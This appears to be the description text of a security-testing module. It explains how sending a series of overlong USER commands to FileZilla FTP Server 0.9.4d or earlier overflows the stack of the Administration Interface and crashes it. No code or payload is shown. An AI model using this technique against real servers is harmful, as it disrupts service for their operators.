        This module triggers a Denial of Service condition in the FileZilla FTP
        Server Administration Interface in versions 0.9.4d and earlier.
        By sending a procession of excessively long USER commands to the FTP
        Server, the Administration Interface (FileZilla Server Interface.exe)
        when running, will overwrite the stack with our string and generate an
        exception. The FileZilla FTP Server itself will continue functioning.
